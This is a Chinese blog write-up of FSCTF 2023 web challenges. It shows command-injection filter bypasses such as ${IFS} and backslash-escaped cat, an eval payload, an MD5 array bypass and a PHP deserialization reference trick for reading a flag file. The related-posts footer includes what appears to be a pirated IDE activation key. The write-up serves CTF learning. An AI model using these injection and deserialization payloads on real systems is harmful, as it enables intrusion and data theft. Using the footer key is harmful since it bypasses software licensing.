首页 > 其他分享 >新手大白话 FSCTF 2023刷题记录1

新手大白话 FSCTF 2023刷题记录1

时间:2024-04-15 15:13:18浏览次数:29  
标签:发现 php 页面 源码 2023 绕过 FSCTF payload 刷题

[FSCTF 2023]源码!启动!
进入页面ctrl+u查看源码得到flag

webshell是啥捏
进入页面,发现给出源码

笨办法,一个一个找出表情代表啥,最后发现为命令执行函数passthru,而passthru出现在了漏洞点eval处,也就是RCE漏洞,而且进一步查看发现没有过滤,
直接打它:

细狗2.0
进入页面

随意输入试试,回显 行不行啊细狗,你就输了个这? 1
继续尝试 1;ls 回显 行不行啊细狗,你就输了个这? 1;lsindex.php moyu.php
到这里漏洞点已经很明显了,为什么要加;呢,题目告诉你是RCE,那么假设前边为echo命令,那么闭合前边命令,执行下一个命令,用分号分割,到这里就明显了。
继续打,输入%20发现空格被过滤,利用${IFS}进行绕过
1;ls${IFS}/ 回显

发现flag,cat它,被过滤,c\at${IFS}/f\lag绕过.不懂得自己搜RCE命令过滤绕过。

ez_eval
进入页面发现源码

最开始我以为就是普通的RCE,但是命令输入却不见反应,后来发现执行php标签可以执行出来,其实在str_replace哪里就发现有端倪,,为什么要替换?呢。
但是php标签的?被替换没了,换一种标签 回显了phpinfo页面,到这里也就清楚了
payload: system('c\at%09/f\lag')替换phpinfo() 绕过就不用我说了

Hello,you
进入ctrl+u发现源码

也就是3个函数,一个调用一个,命令执行点在exec($command, $output); 一个一个往上找,发现其实command就是我们要输入的username。
第一次尝试:1;ls 发现flag.php,第一感觉很明显就是这个文件。
直接打它:1;c\at f\lag.php

ez_php1
进入页面发现源码

一眼简单的MD5绕过,可以选择数组,也可以选择特殊值绕过 具体看MD5绕过_$md5==md5($md5)-CSDN博客
这里的FL_AG参数随便输,因为preg_match检查的不是它,payload ==> get:a[]=1&b[]=2 post: FL_AG=1 发现L0vey0U.php,进入其中。

反序列化操作,对输入的参数进行反序列化,与KEY参数进行比较。直接贴上payload。

点击查看代码
<?php 
$a = "YES I love";
echo serialize($a);
提示为P0int.php,进入其中发现源码


这里有个坑,题做多了也就知道了,第一眼看见了php://filter.....,但是没有输出啊,但是我们发现__destruct输出了b,那我们可以让b来输出a啊,也就是将a赋予b使得b输出a的值,就是a与b变成用同一个内存变量

点击查看代码
payload:
<?php 
// $a = "YES I love";
// echo serialize($a);

class Clazz
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
    }
    public function __destruct()
    {
        echo $this->b;
    }
}
$c = new Clazz();
$c->b = &$c->a;   // php的引用就是在变量或者函数、对象等前面加上&符号。
echo serialize($c);
得到结果进行base64解码。

标签:发现,php,页面,源码,2023,绕过,FSCTF,payload,刷题
From: https://www.cnblogs.com/jocker-love-you/p/18136011

相关文章

  • cka刷题2024
    一.基于角色的访问控制-RBAC(4/25%)参考:https://kubernetes.io/zh-cn/docs/reference/access-authn-authz/rbac/Kubectlcreateclusterroledeployment-clusterrole--verb=create--resource=deployments,statefulsets,daemonsetsekubectlcreateserviceaccountcicd-tok......
  • 闫忠奥202383310064
    实验1#include<stdio.h>#include<stdlib.h>#include<time.h>#defineN5intmain(){ intnumber; inti; srand(time(0)); for(i=0;i<N;++i) { number=rand()%65+1; printf("20238331%04d\n",number); } return0;}......
  • [NeuralPS2023]How Re-sampling Helps for Long-Tail Learning
    这篇文章作者写得非常详细,读起来非常舒适。Contribution:在long-taileddata中,re-sampling不一定有效。re-sampling的失败可能是对于不相关的context过拟合导致的,作者设计了实验论证了这一假说。在single-stage的框架下,作者提出了上下文转换增强(contextualtransformationau......
  • The 2023 ICPC Asia Hong Kong Regional Programming Contest (The 1st Universal Cup
    Preface不知道VP什么就继续找往年的区域赛真题来打了这场题挺合我们队口味的,开场2h就开出了5题(徐神110min的时候就过相对最难的C题),而且手上还有3个会写的题最后中间虽然因为F题卡常(CF评测机太慢导致的)浪费了快1h时间,但索性时间剩余很多还是4h下班了后面的题感觉都不太可做,遂光......
  • 2023CCPC题解
    2023年第五届河南省CCPC大学生程序设计竞赛ProblemA.小水獭游河南#include<bits/stdc++.h>usingnamespacestd;intmain(){intt;cin>>t;while(t--){stringa;cin>>a;intst[27],ji=0;memset(st,0,sizeof(......
  • 【专题】2023年新能源汽车及用户调研分析报告PDF合集分享(附原数据表)
    原文链接:https://tecdat.cn/?p=34315原文出处:拓端数据部落公众号2022年,尽管受疫情频发、芯片结构性短缺、动力电池原材料价格高位运行等多方面影响,中国汽车市场却在逆境中整体复苏向好,总体实现正增长,全年销量完成2686万辆;在国内强大的消费市场促进下,乘用车市场已连续8年超过2千......
  • 2023 国庆 清北学堂笔记
    2023国庆QBXT未完结,勿喷Day0被GSS6卡了一整天/kkDay1挂大分膜你赛125pts原因是T1100pts->50pts被卡常力啊啊啊啊其实也不是被卡常了我写的\(\mathcal{O(n^3\logn)}\)然而标算\(\mathcal{O(n^3)}\)但有人\(\mathcal{O(n^4)}\)也过去......
  • 2023 暑假 正睿笔记
    Day1"基础"数据结构并查集每次合并集合,就在两个点之间连上边,询问就是看两个点是否在同一连通块但是朴素的并查集复杂度没有保证所以考虑优化路径压缩改变树的结构不会改变它的连通性我们考虑为什么我们之前复杂度会退化很重要一个原因就是有可能路径太长所以我们把......
  • 实验2 C语言分支与循环基础应用编程 王刚202383310053
    1#include<stdio.h>2#include<stdlib.h>3#include<time.h>4#defineN55intmain()6{7intnumber,i;8srand(time(0));9for(i=0;i<N;i++)10{number=rand()%65+1;11printf("20238331%04d\n",number);12}13sy......
  • idea2023激活码
    K384HW36OB-eyJsaWNlbnNlSWQiOiJLMzg0SFczNk9CIiwibGljZW5zZWVOYW1lIjoibWFvIHplZG9uZyIsImxpY2Vuc2VlVHlwZSI6IlBFUlNPTkFMIiwiYXNzaWduZWVOYW1lIjoiIiwiYXNzaWduZWVFbWFpbCI6IiIsImxpY2Vuc2VSZXN0cmljdGlvbiI6IiIsImNoZWNrQ29uY3VycmVudFVzZSI6ZmFsc2UsInByb2R1Y3RzIjpbeyJj......